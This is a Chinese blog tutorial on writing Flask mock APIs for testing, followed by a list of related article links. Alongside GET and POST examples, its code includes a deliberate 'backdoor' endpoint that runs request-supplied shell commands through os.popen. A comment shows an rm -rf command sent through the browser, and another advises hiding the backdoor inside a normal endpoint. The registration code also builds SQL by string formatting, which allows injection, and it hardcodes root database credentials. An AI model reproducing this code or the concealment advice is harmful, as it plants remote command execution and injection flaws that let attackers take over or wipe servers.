python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中的匿名函数使用简介
Apr 27 Python
python3获取当前文件的上一级目录实例
Apr 26 Python
python 遍历目录(包括子目录)下所有文件的实例
Jul 11 Python
Linux系统(CentOS)下python2.7.10安装
Sep 26 Python
python与字符编码问题
May 24 Python
python实现猜拳小游戏
Apr 05 Python
Python实现计算长方形面积(带参数函数demo)
Jan 18 Python
浅谈tensorflow 中tf.concat()的使用
Feb 07 Python
python使用信号量动态更新配置文件的操作
Apr 01 Python
pandas数据拼接的实现示例
Apr 16 Python
Python的这些库,你知道多少?
Jun 09 Python
Python经常使用的一些内置函数
Apr 11 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
PHP 程序员也要学会使用“异常”
2009/06/16 PHP
简单的php写入数据库类代码分享
2011/07/26 PHP
基于PHP开发中的安全防范知识详解
2013/06/06 PHP
php中利用str_pad函数生成数字递增形式的产品编号
2013/09/30 PHP
php遍历数组的4种方法总结
2014/07/05 PHP
百度实时推送api接口应用示例
2014/10/21 PHP
常用PHP框架功能对照表
2014/10/23 PHP
搭建Vim为自定义的PHP开发工具的一些技巧
2015/12/11 PHP
php发送http请求的常用方法分析
2016/11/08 PHP
PHP去除字符串最后一个字符的三种方法实例
2017/03/01 PHP
Laravel5.* 打印出执行的sql语句的方法
2017/07/24 PHP
YII框架实现自定义第三方扩展操作示例
2019/04/26 PHP
不要小看注释掉的JS 引起的安全问题
2008/12/27 Javascript
JavaScript 学习笔记二 字符串拼接
2010/03/28 Javascript
Javascript模块化编程(一)模块的写法最佳实践
2013/01/17 Javascript
Javascript 读取操作Sql中的Xml字段
2014/10/09 Javascript
iframe里使用JavaScript控制主页转向的方法
2015/04/03 Javascript
详解用node-images 打造简易图片服务器
2017/05/08 Javascript
js时间戳与日期格式之间转换详解
2017/12/11 Javascript
浅谈Python 多进程默认不能共享全局变量的问题
2019/01/11 Python
简单了解python变量的作用域
2019/07/30 Python
Python 使用threading+Queue实现线程池示例
2019/12/21 Python
keras的三种模型实现与区别说明
2020/07/03 Python
Luxplus丹麦:香水和个人护理折扣
2018/04/23 全球购物
字符串str除首尾字符外的其他字符按升序排列
2013/03/08 面试题
家长寄语大全
2014/04/02 职场文书
2014年五四青年节演讲稿范文
2014/04/22 职场文书
初二学习计划书范文
2014/04/27 职场文书
班级年度安全计划书
2014/05/01 职场文书
优秀乡村医生事迹材料
2014/05/28 职场文书
2014法制宣传日活动总结
2014/07/09 职场文书
法定代表人授权委托书范文
2014/08/02 职场文书
2016年情人节广告语
2016/01/28 职场文书
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
2021/06/03 Python
JavaScript流程控制(循环)
2021/12/06 Javascript
SpringBoot 集成短信和邮件 以阿里云短信服务为例
2022/04/22 Java/Android